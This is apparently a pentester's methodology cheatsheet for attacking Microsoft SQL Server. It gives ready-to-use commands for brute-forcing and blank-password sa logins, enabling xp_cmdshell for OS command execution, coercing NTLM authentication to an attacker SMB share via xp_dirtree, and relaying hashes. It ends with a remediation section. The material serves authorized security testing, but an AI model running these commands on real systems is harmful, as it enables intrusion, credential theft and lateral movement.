🛡️ Methodology Checklist
- Detect MSSQL:
nmap -p 1433 --script ms-sql-info [TARGET] - Enumerate:
nmap -p 1433 --script ms-sql-empty-password,ms-sql-info,ms-sql-databases [TARGET] - Try default/blank credentials: sa / (empty), sa/sa
- Brute-force:
hydra -L users.txt -P pass.txt mssql://[TARGET] - If authenticated: enable xp_cmdshell for RCE
- NTLM capture:
xp_dirtree \\[ATTACKER]\share+ Responder - Enumerate linked servers:
SELECT srvname FROM sysservers - Privilege escalation via impersonation if non-sa user
🎯 Operational Context
Think Dumber First: Test SA account with blank password first (
mssqlclient.py sa@[TARGET]). Check Windows Authentication with domain credentials if you have any. Even low-privilege SQL users can enablexp_cmdshellifIS_SRVROLEMEMBER('sysadmin')returns 1. Thexp_dirtreetrick coerces MSSQL to authenticate to your SMB server — capture NTLM hash for cracking or relay.
When you land here: Port 1433 open. Try SA blank password. If domain-joined, try Windows auth with compromised credentials. Enumerate via nmap ms-sql-* scripts. Check for linked servers — they can bridge to otherwise unreachable databases.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 [TARGET_IP] | Full Nmap MSSQL scan |
msfconsole → use auxiliary/scanner/mssql/mssql_ping | MSF ping — get hostname and version |
python3 mssqlclient.py [DOMAIN]/[USER]:[PASS]@[TARGET_IP] -windows-auth | Connect with Windows auth (Impacket) |
python3 mssqlclient.py [USER]:[PASS]@[TARGET_IP] | Connect with SQL auth |
impacket-mssqlclient [USER]:[PASS]@[TARGET_IP] -windows-auth | Alternative Impacket command |
sqlcmd -S [TARGET_IP] -E -Q "[SQL]" | Windows native — trusted auth query |
| Command | Tactical Outcome |
|---|---|
SELECT name FROM sys.databases; | List all databases |
USE [DatabaseName]; | Switch to database |
SELECT name FROM sys.tables; | List tables |
SELECT SYSTEM_USER; | Check current user |
SELECT @@version; | Check version |
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; | Enable command shell |
xp_cmdshell 'whoami'; | Execute OS command |
🔬 Deep Dive & Workflow
Inside MSSQL (T-SQL):
Initial Enumeration
- Nmap full script scan — look for
Target_Name,Instance_Name,Product_Version - MSF ping:
auxiliary/scanner/mssql/mssql_pingfor hostname - Try
sawith empty/weak password - Connect:
impacket-mssqlclient [USER]:[PASS]@[TARGET_IP] -windows-auth -
SELECT name FROM sys.databases;— identify non-default databases (master,tempdb,model,msdbare default)
Attacks
- Enable
xp_cmdshellifsaor high-priv account:EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; xp_cmdshell 'whoami'; - Check if self-signed cert in use → MitM potential for credential capture
- Enumerate tables in custom database → extract user credentials
- If Windows auth available → use domain credentials for lateral movement
Core Info
- Default Port: 1433 (TCP) | 1434 (UDP/DAC)
- Tightly integrated with Active Directory and .NET
- Clients: SSMS (GUI),
mssql-cli,sqsh,impacket-mssqlclient
Default Databases
| Database | Purpose |
|---|---|
master | System info — users, configs |
model | Template for new databases |
msdb | Scheduling and alerts |
tempdb | Temporary storage |
Dangerous Settings
| Setting | Risk |
|---|---|
Weak sa password | SA = System Administrator — full DB control |
xp_cmdshell enabled | Direct OS command execution from SQL |
| Self-signed certs | MitM attacks → capture credentials |
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| mssqlclient.py fails ‘Login failed for user SA’ | SA disabled or password set | Try Windows auth: mssqlclient.py [DOMAIN]/[USER]:[PASS]@[TARGET] -windows-auth; spray common SA passwords |
| xp_cmdshell exists but returns ‘SQL Server blocked access’ | xp_cmdshell disabled (default since 2005) | Enable: EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE |
| Linked server query fails with ‘RPC Server unavailable’ | Named Pipes or RPC not enabled on target | Use EXEC ('SELECT 1') AT [LINKED_SERVER] syntax; enable RPC on linked server with EXEC sp_serveroption [LINKED], 'rpc out', true |
| NTLM capture via xp_dirtree returns hash but crack fails | NTLMv2 and strong password | Relay hash instead of cracking: ntlmrelayx -t smb://[OTHER_TARGET] -smb2support; use -ip [ATTACKER_IP] in responder |
| Connection to 1433 refused despite port open | MSSQL bound to named pipe only, not TCP | Check SQL Server Configuration Manager remotely; try impacket-mssqlclient with named pipe: use SMB after getting foothold |
📝 Reporting Trigger
Finding Title: MSSQL SA Account with Blank/Default Password / xp_cmdshell Enabled
Impact: OS-level command execution as SQL Server service account (often SYSTEM or local admin). Database content fully accessible; lateral movement via NTLM coercion.
Root Cause: SA account enabled with blank password. xp_cmdshell enabled allowing OS command execution from SQL context.
Recommendation: Disable SA account (ALTER LOGIN SA DISABLE). Enforce Windows Authentication only. Disable xp_cmdshell and restrict sp_configure to sysadmins. Implement SQL Server Audit. Run SQL Server service as low-privilege domain account.